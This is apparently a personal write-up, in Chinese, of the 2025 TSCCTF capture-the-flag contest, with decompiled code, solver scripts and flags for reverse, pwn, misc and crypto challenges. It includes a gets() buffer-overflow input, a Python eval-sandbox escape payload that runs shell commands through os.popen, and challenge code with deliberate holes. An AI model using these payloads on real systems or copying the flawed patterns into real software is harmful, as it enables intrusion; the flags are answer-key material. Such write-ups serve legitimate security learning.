---
# System prepended metadata

title: 2025 TSCCTF Write-up
tags: [CTF]

---

# 2025 TSCCTF Write-up
有種這次比賽一樣除了welcome之外什麼都解不開的感覺QQ
然後再加上跑去日本爽玩所以只打了不到24小(X
最後還忘記繳交writeup(哭爛
![image](https://hackmd.io/_uploads/r1IecXiv1e.png)

> ### CTFd: https://ctfd.tscctf.com/
(他們CTFd真的做的好漂亮)



## Welcome
### Give you a free flag
> ### 題目
這裡據說藏了個 Flag
![image](https://hackmd.io/_uploads/H1xmbaVPyl.png)
Author: Ruki

> ### 解法
他題目下面有一大段空白，sus
![image](https://hackmd.io/_uploads/rJy15eVv1e.png)
:::spoiler flag
TSC{W3llc0me_t0_TSC2O2SIlIllI}
:::

### Please Join Our Discord!!!
> ### 題目
想要我的 Flag 嗎？想要的話就送給你吧！自己去找吧，我把它埋藏在那裡了 於是...許多人爭相前往「TSCCTF Discord」，並追逐著這個夢想 所以，當時的年代可以說是一個「大資安時代」！
![image](https://hackmd.io/_uploads/HyaOZpVP1l.png)
Author: 哥爾·D·Kazma

::: spoiler Unlock Hint for 0 points
Emoji 是 TSCCTF2024 的 DC flag ! If you found an emoji, that's the flag for last year's TSCCTF.
:::
<b></b>
> ### 解法
![image](https://hackmd.io/_uploads/r1nWJ9Swyx.png)
:::spoiler flag
TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}
:::

### Feedback Form
> ### 題目
https://forms.gle/FQtKQbdLuqhtcPAh8
Please fill out feedback form. Thank you!
:::spoiler flag
TSC{thanks_for_playing_and_c_u_nexy_year!}
:::


## Reverse
### What_Happened
> ### 題目
其實我也不太清楚發生什@#!@麼事@#情
但@#@##%(()^%()!
!%%@\$東!@#%()&西#!#)&&)
放ˋˋ@($)@俺@Xsa在納莉
![image](https://hackmd.io/_uploads/BJJMZxHw1g.png)
Auth: Ruki

> ### IDA 
```c=
# main
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Destination[51]; // [esp+1Eh] [ebp-32h] OVERLAPPED BYREF

  __main();
  strcpy(Destination, &flag_encrypted);
  puts("1. This is Flag:");
  puts("2. ...");
  puts("3. What Happened??? Something Error");
  printf("4. %s\n", Destination);
  return 0;
}

int __cdecl encrypt(char *Str, int a2)
{
  int result; // eax
  signed int v3; // [esp+18h] [ebp-10h]
  signed int i; // [esp+1Ch] [ebp-Ch]

  v3 = strlen(Str);
  for ( i = 0; i < v3; ++i )
    *(_BYTE *)(i + a2) = Str[i] ^ 0xAA;
  result = v3 + a2;
  *(_BYTE *)(v3 + a2) = 0;
  return result;
}

int decrypt_flag()
{
  char v1[50]; // [esp+16h] [ebp-42h] BYREF
  int v2; // [esp+48h] [ebp-10h]
  int i; // [esp+4Ch] [ebp-Ch]

  v2 = strlen(flag_encrypted);
  for ( i = 0; i < v2; ++i )
    v1[i] = flag_encrypted[i] ^ 0xAA;
  v1[v2] = 0;
  return printf("Decrypted Flag: %s\n", v1);
}
```
用IDA翻了一下
找到加密後的flag
![image](https://hackmd.io/_uploads/rJOZmxSPke.png)

> ### 解法
欸好好笑 意外發現`$#$`會變成$#$
好啦回正題
那就剩下解密了
```python=
def decrypt_flag(encrypted_flag):
    decrypted_flag = []

    # 用 XOR 密鑰 0xAA 進行解密
    for byte in encrypted_flag:
        decrypted_flag.append(byte ^ 0xAA)

    # 輸出解密後的結果
    decrypted_string = ''.join(chr(byte) for byte in decrypted_flag)
    print("Decrypted Flag:", decrypted_string)

# 加密過的 flag 資料（以十六進制表示）
encrypted_flag = [
    0xFE, 0xF9, 0xE9, 0xD1, 0xE3, 0xF5, 0xFE, 0xC2,
    0xC3, 0xC4, 0xC1, 0xF5, 0xD3, 0xC5, 0xDF, 0xF5,
    0xEC, 0xC3, 0xD2, 0xF5, 0x98, 0xC5, 0xC7, 0xCF,
    0xF5, 0x99, 0xD8, 0xD8, 0xC5, 0xD8, 0xD7
]

# 解密
decrypt_flag(encrypted_flag)
```
:::spoiler flag
TSC{I_Think_you_Fix_2ome_3rror}
:::

### Chill Checker
Just Reverse and Chill.
![image](https://hackmd.io/_uploads/SyWsrbHDkg.png)
Author: Kazma

> ### IDA
```c=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s2[32]; // [rsp+10h] [rbp-40h] BYREF
  char s1[20]; // [rsp+30h] [rbp-20h] BYREF
  int v6; // [rsp+44h] [rbp-Ch]
  int j; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

  v6 = -559038737;
  for ( i = 0; i <= 19; ++i )
    s2[i] = 0;
  *(_QWORD *)s2 = 0x57484959495A4753LL;
  printf("Whisper your code: ");
  __isoc99_scanf("%8s", s1);
  for ( j = 0; j <= 7; ++j )
    s1[j] = complex_function((unsigned int)s1[j], (unsigned int)(j + 8));
  if ( !strcmp(s1, s2) )
  {
    puts("Man, you're really on fire!");
    generate_flag(s1);
  }
  else
  {
    random_failure_message(s1);
  }
  return 0;
}
```
看起來是搞出正確的s1就可以拿到flag

> ### 解法
```python=
def complex_function(a1, a2):
    """模擬原始的 complex_function
    a1: 輸入字元的 ASCII 值
    a2: 位置 + 8"""
    if a1 <= 64 or a1 > 90:
        return None
    return ((a1 - 65 + 31 * a2) % 26 + 65)

def reverse_complex(target, pos):
    """
    反向求解 complex_function
    target: 目標字元的 ASCII 值
    pos: 位置（0-7）
    """
    # 對每個可能的大寫字母輸入進行測試
    for c in range(65, 91):  # A-Z
        result = complex_function(c, pos + 8)
        if result == target:
            return c
    return None

def solve():
    # 目標字串（從分析中得到的正確順序）
    target = "SGZIYIHW"
    solution = ""
    
    print("解碼過程：")
    print("位置\t目標\t解碼\t驗證")
    print("-" * 50)
    
    for i in range(8):
        # 找出能產生目標字元的輸入
        orig_char = reverse_complex(ord(target[i]), i)
        if orig_char is None:
            print(f"位置 {i} 無法找到有效解")
            return None
        
        # 驗證
        check = complex_function(orig_char, i + 8)
        if check != ord(target[i]):
            print(f"位置 {i} 驗證失敗")
            return None
            
        solution += chr(orig_char)
        print(f"{i}\t{target[i]}\t{chr(orig_char)}\t{chr(check) if check else 'X'}")
    
    return solution

def verify_solution(solution, target="SGZIYIHW"):
    """完整驗證解答"""
    if len(solution) != 8:
        return False
        
    result = ""
    for i in range(8):
        transformed = complex_function(ord(solution[i]), i + 8)
        if transformed is None:
            return False
        result += chr(transformed)
    
    return result == target

if __name__ == "__main__":
    print("正在解碼...\n")
    solution = solve()
    
    if solution:
        print(f"\n找到解答: {solution}")
        if verify_solution(solution):
            print("驗證成功！")
        else:
            print("驗證失敗！")
    else:
        print("\n無法找到有效解答")
```
拿到`ENBFQVPZ`
![image](https://hackmd.io/_uploads/ryWHLZrwJx.png)
:::spoiler flag
TSC{t4k3_1t_3a$y}
:::

## Pwn
說好今年要開始打pwn題 但我好懶(爛)_(:3 」∠ )_
### gamble_bad_bad
> ### 題目
就
拉霸機
非常好玩的拉霸機
你有辦法贏得大獎嗎?
![image](https://hackmd.io/_uploads/HyPUJySvyx.png)
Auth: Ruki
nc 172.31.0.2 1337
```c=
#include <string.h>
#include <iostream>
#include <stdio.h>
using namespace std;

void jackpot() {
    char flag[50];
    FILE *f = fopen("/home/gamble/flag.txt", "r");
    if (f == NULL) {
        printf("錯誤：找不到 flag 檔案\n");
        return;
    }
    fgets(flag, 50, f);
    fclose(f);
    
    printf("恭喜你中了 777 大獎！\n");
    printf("Flag 是：%s", flag); 
}

struct GameState {
   char buffer[20];
   char jackpot_value[4];  
} game;

void spin() {
   strcpy(game.jackpot_value, "6A6");
   
   printf("輸入你的投注金額：");
   gets(game.buffer);

   printf("這次的結果為：%s\n", game.jackpot_value);

   if (strcmp(game.jackpot_value, "777") == 0) {
       jackpot();
   } else {
       printf("很遺憾，你沒中獎，再試一次吧！\n");
   }
}

int main() {
   setvbuf(stdout, NULL, _IONBF, 0);
   setvbuf(stdin, NULL, _IONBF, 0);
   printf("歡迎來到拉霸機！試著獲得 777 大獎吧！\n");
   spin();
   return 0;
}
```

> ### 解法
game.buffer 的大小是 20 字元，但使用 gets() 函數讀取用戶輸入，這樣會造成緩衝區溢出，覆蓋 game.jackpot_value，該變數的大小是 4 字元。
所以輸入20個A然後再加上777
![image](https://hackmd.io/_uploads/BJnMg1rvkg.png)

:::spoiler flag
TSC{Gamb1e_Very_bad_bad_but_}
:::

## Web
我好爛 我不會打web
![image](https://hackmd.io/_uploads/SyHwVOPw1e.png)
其實有看兩題
Ave Mujica那題知道考點是目錄遍歷但還是試不出來(經驗不足
Be_IDol成功進到檔案下載的地方，但是不知道什麼壞壞的文件因為我是好駭客


## Misc
### BabyJail
> ### 題目
Just a normal pyjail without builtins!
Author: Vincent55
nc 172.31.3.2 8002

> ### 他給的程式
```python=
#!/usr/local/bin/python3

print(eval(input('> '), {"__builtins__": {}}, {}))
```
意思大概是 **執行使用者輸入的內容並印出結果**
但使用者輸入的內容**有被限制**

> ### eval
eval(expression, globals, locals)
eval 是 Python 的內建函數，用來執行 字串表達式，並返回執行結果。
第一個參數：expression 是需要執行的字串（來自使用者輸入）。
第二個參數：globals 是全局變數字典，定義可以使用的全局變量和函數。
第三個參數：locals 是局部變數字典，定義可以使用的局部變量。

所以他在第二個參數用**{"__builtins__": {}}** 禁用了Python的內建函數（例如 print, open, 等）
然後第三個參數是空的，表示沒有額外的變數可以用

> ### 解題思路
先用`"".__class__.__base__.__subclasses__()`找到可用的類別
```bash=
> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'sys.legacy_event_handler'>, <class 'InterpreterID'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'ast.AST'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
```
然後可以用這個來看檔案
`().__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('ls').read()`
![image](https://hackmd.io/_uploads/rJIsewSDke.png)
最後就直接cat flag
`().__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('cat flag_LwAyYvKd').read()`
![image](https://hackmd.io/_uploads/SJspewHDkl.png)
:::spoiler flag
TSC{just_a_classic_nobuiltins_pyjail_for_baby}
:::

### Subdomain Hijacking
> ### 題目
Did you hear about Subdomain?
Author: sunick2009

> ### 解法
他的首頁長這樣
![image](https://hackmd.io/_uploads/SkzjKvBv1g.png)
需要先在右上角的分頁生成一個subdomain之後才能拜訪
![image](https://hackmd.io/_uploads/H1QptvBP1x.png)
隨便亂嘗試了一些 當試了`tsc`之後拿到**Target**
![image](https://hackmd.io/_uploads/ryPxcPSwye.png)
好莫名其妙的一題 ||通靈大師是你||
:::spoiler flag
TSC{hijacking_success_3f3c5f28f2424452ab458f5a3cb48b4f}
:::

### Gif Tempo
> ### 題目
Is there any hiding sequence in the gif?
Be aware, you need to add the prefix TSC{} before submit.
![gif_tempo](https://hackmd.io/_uploads/Skc45AVwyg.gif)
Author: sunick2009

> ### 解題思路
先把他丟到gif工具看一下
![image](https://hackmd.io/_uploads/HkgvcRED1x.png)
看起來沒料 就是一對白色跟c
那就把這些照片抓下來丟[aperi](https://www.aperisolve.com/)

發現有三種照片
第一種是1秒的 像是 frame_01_delay-1s.jpg, frame_05_delay-1s.jpg, frame_09_delay-1s.jpg
在顏色的分析下會有點陣圖出現
![image](https://hackmd.io/_uploads/rkrC5AEPJx.png)
第二種是0.7秒的 像是frame_00_delay-0.7s.jpg, frame_06_delay-0.7s.jpg, frame_08_delay-0.7s.jpg
雖然是白的但是濾掉某個顏色後會變成
![image](https://hackmd.io/_uploads/HktbjR4wkl.png)
第三種是0.2和0.3秒的 就都全白

那來用GIMP看一下點陣圖 有沒有可能跟去年的RGB那題類似呢
(後來我有把圖拼起來 弄出一個像是data matrix的東西但還是解不出來

## Crypto
### Classic
> ### 題目
The classics never fade.
Author : freddy
>### chal.py</a>
```python=
import os
import string
import secrets

flag = "TSC{test_flag}"

charset = string.digits + string.ascii_letters + string.punctuation
A, B = secrets.randbelow(2**32), secrets.randbelow(2**32)
assert len(set((A * x + B) % len(charset) for x in range(len(charset)))) == len(charset)

enc = "".join(charset[(charset.find(c) * A + B) % len(charset)] for c in flag)
print(enc)
```
> ### encrypt flag
```bash=
o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"
```

> ### 解法
```python=
import string

# 已知的加密結果
enc = 'o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"'

# 字符集
charset = string.digits + string.ascii_letters + string.punctuation
charset_len = len(charset)

# 定義函數來測試是否是有效的映射
def is_valid_mapping(a, b):
    # 檢查是否每個字符都有唯一映射
    mapped = set((a * x + b) % charset_len for x in range(charset_len))
    return len(mapped) == charset_len

# 定義解密函數
def decrypt(enc_text, a, b):
    # 計算 a 的乘法逆元
    def mod_inverse(a, m):
        def extended_gcd(a, b):
            if a == 0:
                return b, 0, 1
            gcd, x1, y1 = extended_gcd(b % a, a)
            x = y1 - (b // a) * x1
            y = x1
            return gcd, x, y
        
        _, x, _ = extended_gcd(a, m)
        return (x % m + m) % m
    
    a_inv = mod_inverse(a, charset_len)
    
    # 解密
    decrypted = ""
    for c in enc_text:
        pos = charset.find(c)
        if pos == -1:
            return None
        # 反向運算：(pos - B) * A^(-1) mod len(charset)
        orig_pos = ((pos - b) * a_inv) % charset_len
        decrypted += charset[orig_pos]
    
    return decrypted

# 找到可能的 A 和 B
def find_key():
    for a in range(1, charset_len):
        # a 需要與 charset_len 互質
        if not is_valid_mapping(a, 0):
            continue
        
        for b in range(charset_len):
            if not is_valid_mapping(a, b):
                continue
                
            # 嘗試解密
            result = decrypt(enc, a, b)
            if result and "TSC{" in result and "}" in result:
                return a, b, result
    
    return None, None, None

# 執行解密
a, b, flag = find_key()
if flag:
    print(f"Found flag: {flag}")
    print(f"Key used - A: {a}, B: {b}")
else:
    print("Could not find valid key")
```
![image](https://hackmd.io/_uploads/r1WQNvSv1g.png)
:::spoiler flag
TSC{c14551c5_c1ph3r5_4r5_fr4g17e}
:::

### Very Simple Login
> ### 題目
nc 172.31.2.2 36900
Author : Curious

> ### server.py</a>
```python=
import base64
import hashlib
import json
import os
import re
import sys
import time
from secret import FLAG


def xor(message0: bytes, message1: bytes) -> bytes:
    return bytes(byte0 & byte1 for byte0, byte1 in zip(message0, message1))


def sha256(message: bytes) -> bytes:
    return hashlib.sha256(message).digest()


def hmac_sha256(key: bytes, message: bytes) -> bytes:
    blocksize = 64
    if len(key) > blocksize:
        key = sha256(key)
    if len(key) < blocksize:
        key = key + b'\x00' * (blocksize - len(key))
    o_key_pad = xor(b'\x5c' * blocksize, key)
    i_key_pad = xor(b'\x3c' * blocksize, key)
    return sha256(o_key_pad + sha256(i_key_pad) + message)


def sha256_jwt_dumps(data: dict, exp: int, key: bytes):
    header = {'alg': 'HS256', 'typ': 'JWT'}
    payload = {'sub': data, 'exp': exp}
    header = base64.urlsafe_b64encode(json.dumps(header).encode())
    payload = base64.urlsafe_b64encode(json.dumps(payload).encode())
    signature = hmac_sha256(key, header + b'.' + payload)
    signature = base64.urlsafe_b64encode(signature).rstrip(b'=')
    return header + b'.' + payload + b'.' + signature


def sha256_jwt_loads(jwt: bytes, exp: int, key: bytes) -> dict | None:
    header_payload, signature = jwt.rsplit(b'.', 1)

    sig = hmac_sha256(key, header_payload)
    sig = base64.urlsafe_b64encode(sig).rstrip(b'=')
    if sig != signature:
        raise ValueError('JWT error')

    try:
        header, payload = header_payload.split(b'.')[0], header_payload.split(b'.')[-1]
        header = json.loads(base64.urlsafe_b64decode(header))
        payload = json.loads(base64.urlsafe_b64decode(payload))
        if (header.get('alg') != 'HS256') or (header.get('typ') != 'JWT'):
            raise ValueError('JWT error')
        if int(payload.get('exp')) < exp:
            raise ValueError('JWT error')
    except Exception:
        raise ValueError('JWT error')
    return payload.get('sub')


def register(username: str, key: bytes):
    if re.fullmatch(r'[A-z0-9]+', username) is None:
        raise ValueError("'username' format error.")
    return sha256_jwt_dumps({'username': username}, int(time.time()) + 86400, key)


def login(token: bytes, key: bytes):
    userdata = sha256_jwt_loads(token, int(time.time()), key)
    return userdata['username']


def menu():
    for _ in range(32):
        print('==================')
        print('1. Register')
        print('2. Login')
        print('3. Exit')
        try:
            choice = int(input('> '))
        except Exception:
            pass
        if 1 <= choice <= 3:
            return choice
        print('Error choice !', end='\n\n')
    sys.exit()


def main():
    key = os.urandom(32)
    for _ in range(32):
        choice = menu()
        if choice == 1:
            username = input('Username > ')
            try:
                token = register(username, key)
            except Exception:
                print('Username Error !', end='\n\n')
                continue
            print(f'Token : {token.hex()}', end='\n\n')
        if choice == 2:
            token = bytes.fromhex(input('Token > '))
            try:
                username = login(token, key)
            except Exception:
                print('Token Error !', end='\n\n')
            if username == 'Admin':
                print(f'FLAG : {FLAG}', end='\n\n')
                sys.exit()
            else:
                print('FLAG : TSC{???}', end='\n\n')
        if choice == 3:
            sys.exit()


if __name__ == '__main__':
    try:
        main()
    except Exception:
        sys.exit()
    except KeyboardInterrupt:
        sys.exit()
```
不知道是程式寫錯還是怎樣，一度懷疑這麼簡單的嗎
他這句是不是不該用if...還是其實是故意的
```
if username == 'Admin':
                print(f'FLAG : {FLAG}', end='\n\n')
```
因為這樣只要註冊一個Admin再登入就可以拿到flag了
![image](https://hackmd.io/_uploads/SJCriDBwJl.png)
:::spoiler flag
TSC{Wr0nG_HM4C_7O_L3A_!!!}
:::



## Result

![image](https://hackmd.io/_uploads/H1tlJZLPyl.png)
![image](https://hackmd.io/_uploads/SksWy-Lwkl.png)
